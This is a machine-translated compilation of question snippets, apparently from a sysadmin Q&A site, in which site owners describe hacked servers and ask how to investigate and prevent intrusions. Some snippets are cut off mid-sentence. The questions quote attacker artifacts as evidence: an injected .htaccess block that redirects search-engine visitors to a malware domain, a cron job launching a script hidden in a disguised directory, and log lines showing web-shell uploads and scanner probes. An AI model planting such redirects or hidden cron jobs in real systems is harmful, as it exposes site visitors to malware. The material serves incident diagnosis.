最近(但它也是一个反复出现的问题)我们看到了 3 个关于黑客和安全的有趣主题:
最后一个没有直接关系,但它强调了搞乱 Web 服务器管理是多么容易。
由于有几件事情可以做,在不好的事情发生之前,我想就限制攻击的背面影响的良好实践以及如何在不幸的情况下做出反应方面提出您的建议。
这不仅仅是保护服务器和代码的问题,也是审计、日志记录和反措施的问题。
您是否有任何好的做法列表,或者您更喜欢依赖软件或专家来持续分析您的 Web 服务器(或根本不分析)?
如果是,你能分享你的清单和你的想法/意见吗?
更新
我收到了几个很好的和有趣的反馈。
我想要一个简单的列表,这样既可以方便 IT 安全管理员使用,也可以方便网络事实管理员。
即使每个人都给出了很好和正确的答案,但目前我更喜欢Robert的一个,因为它最简单、清晰和简洁,而sysadmin1138的一个最完整和精确。
但是没有人考虑用户的观点和感知,我认为这是首先必须考虑的。
用户在访问我被黑网站时会怎么想,如果您拥有有关他们的合理数据,则更多。这不仅仅是在何处存储数据的问题,而是如何安抚愤怒的用户的问题。
数据、媒体、权威和竞争对手呢?
来自:http : //seclists.org/fulldisclosure/2009/Jul/0388.html
如果我从以下帖子中理解得最好:http : //news.ycombinator.com/item?id=723798 Matasano 的人让 sshd 互联网可访问 - 对此有任何建议的解决方案(从编程的角度来看)?
这是我的第一次。我运行的网站之一最近遭到了攻击。根本不是智能攻击 - 纯粹的蛮力 - 用每个扩展名击中每个页面和每个非页面。将垃圾数据发布到每个表单,并尝试发布到一些随机网址。一小时内总共有 16000 个请求。
我应该怎么做才能防止/提醒这种行为?有没有办法限制给定 ip/client 的请求/小时?
有没有我应该向用户报告的地方?他们似乎来自中国,确实留下了看似有效的电子邮件。
我试图说服客户为需要登录的网站支付 SSL 费用。我想确保我正确理解了有人可以看到正在发送的密码的主要场景。
我的理解是,在沿途的任何跃点都可以使用数据包分析器来查看正在发送的内容。 这似乎要求任何黑客(或他们的恶意软件/僵尸网络)与数据包到达目的地所需的任何跃点位于同一子网上。那正确吗?
假设这个子网要求的某种风格成立,我需要担心所有的跃点还是只需要担心第一个?第一个我显然可以担心它们是否在公共 Wifi 网络上,因为任何人都可能在监听。我是否应该担心数据包将在此之外传输的 子网中发生了什么? 我对网络流量一无所知,但我认为它流经主要运营商的数据中心,并且那里没有很多多汁的攻击媒介,但如果我错了,请纠正我。
除了使用数据包分析器收听的人之外,还有其他需要担心的向量吗?
我是一个网络和安全新手,所以如果我在其中使用了错误的术语,请随时纠正我。
我有一台运行桌面 ubuntu 发行版的家庭服务器。我在我的 crontab 中找到了这个
* * * * * /home/username/ /.access.log/y2kupdate >/dev/null 2>&1
Run Code Online (Sandbox Code Playgroud)
在查看该目录时(username/ 后面的空格是目录名),我发现了很多脚本,它们显然在做一些他们不应该做的事情。
在我擦除那台计算机并重新安装东西之前,我想找出导致安全漏洞的原因以及何时完成。所以我不会再打开同一个洞。
我应该查看哪些日志文件?我知道在计算机上运行的唯一服务器是 sshd 和 lighttpd。
我应该怎么做才能检测是否再次发生这样的事情?
从昨天开始,我的一个网站上发生了奇怪的事情。
我在 IIS 上的 wordpress 站点的 index.php 从 1 kb 更改为 80 KB。map.xml 和 sitemap.xml 也是目录中的新内容。在 wp-content/themes 或 wp-content/includes 文件夹中还可以找到一些其他文件。像 b.php 或 e.asp。
在日志中,我可以找到一个显示我认为的过程的条目。POST /wordpress/wordpress/wp-content/plugins/easyrotator-for-wordpress/b.php - 80 或 POST /wp-content/themes/koppers12/library/e.asp |26|800a0408|Invalid_character 80
这可能与我的安全设置可能不太严格的事实有关,但是我无法弄清楚如何加强安全性,但让 wordpress 本身、主题和插件的更新机制起作用。
目前,整个网站的权限 (iusr) 设置为读写。如果我将其更改为只读,则由于权限较少,整个更新机制失败
有什么方法可以防止在网站上注入不需要的文件,同时还能更新 wordpress、主题和插件?
所使用的注入可能是对某些插件的利用,还是由于该站点的权限而注入了不需要的文件?
(我已经阻止了导致这种情况的 ip 地址,但这并没有多大帮助,因为这种注入方法已经在其他 ip 地址/范围上看到过。)
我很确定我的服务器被黑了。我在访问日志中看到这些条目是一系列 500 条错误消息之前的最后两个条目,它与数据库有关,但我还没有找到确切的错误。我仍在试图弄清楚这意味着什么 - 任何人都可以帮助我:
208.90.56.152 - - [16/Jun/2011:16:18:04 +0000] "GET / HTTP/1.1" 200 3011 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
69.162.74.102 - - [16/Jun/2011:16:25:00 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 315 "-" "-"
Run Code Online (Sandbox Code Playgroud)
更新
好的 - 进一步调查 - 由于某种原因,mysql 服务被关闭。我重新启动它,一切看起来都很正常。没有数据丢失,但我真的对那些奇怪的条目感到不舒服 - 我如何检查是否有人进入了我的系统?
在我的 MYSQl 日志中,我看到这些行 - 这如何反映发生的事情?
Version: '5.0.77' socket: '/var/lib/mysql/mysql.sock' port: 3306 Source distribution
110616 17:34:20 [Note] /usr/libexec/mysqld: Normal shutdown
110616 17:34:20 InnoDB: Starting shutdown...
110616 17:34:21 InnoDB: Shutdown completed; log sequence number 0 …Run Code Online (Sandbox Code Playgroud) 我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。
这就是发生的事情。
几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。
在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。
几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。
快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。
由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。
我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。
我想确定我的代码不是问题,所以我在修改 …
一点背景知识:我们的 PBX 系统刚刚遭到黑客攻击。服务器本身看起来很安全(没有记录未经授权的控制台访问 - SSH 等),但不知何故,黑客设法将一个新的管理员用户注入 PBX 软件(FreePBX,由 MySQL 支持)。Apache 日志暗示黑客在不使用 Web 界面(或 Web 界面中的任何漏洞)的情况下设法添加了用户。
现在,我发现 MySQL 在没有 root 密码的情况下运行 (!!) 并且公开绑定到外部 IP 地址(显然,我现在已经锁定了它)。然而,MySQL 中唯一的根级别用户是'root'@'localhost'and 'root'@'127.0.0.1',这两个应该只能在本地访问。
所以,我的问题是:
有没有办法欺骗到 MySQL 的连接,以便它允许从远程 IP 地址连接到 'root'@'localhost' 用户,而无需在本地运行任何其他漏洞?
作为参考,该框是运行 Mysql 5.0.95 的 Centos 5(Linux 2.6.10)。
我在我的 apache 访问日志中找到了这个
access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0"
access.log:555.555.555.555 - - [05/May/2011:12:12:29 -0400] "GET /somedir/ HTTP/1.1" 200 7629 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0"
Run Code Online (Sandbox Code Playgroud)
所以 /somedir/ 有 .htaccess 文件,看起来像
Order Deny,Allow
Deny from all
Allow from 333.333.333.333
Allow from 444.444.444.444
Run Code Online (Sandbox Code Playgroud)
htaccess 未在时间范围内修改(12:12:21 和 12:12:29 之间的 8 秒)
任何想法如何可能达到 403 Forbidden 然后在 8 秒后达到 200 OK;我很困惑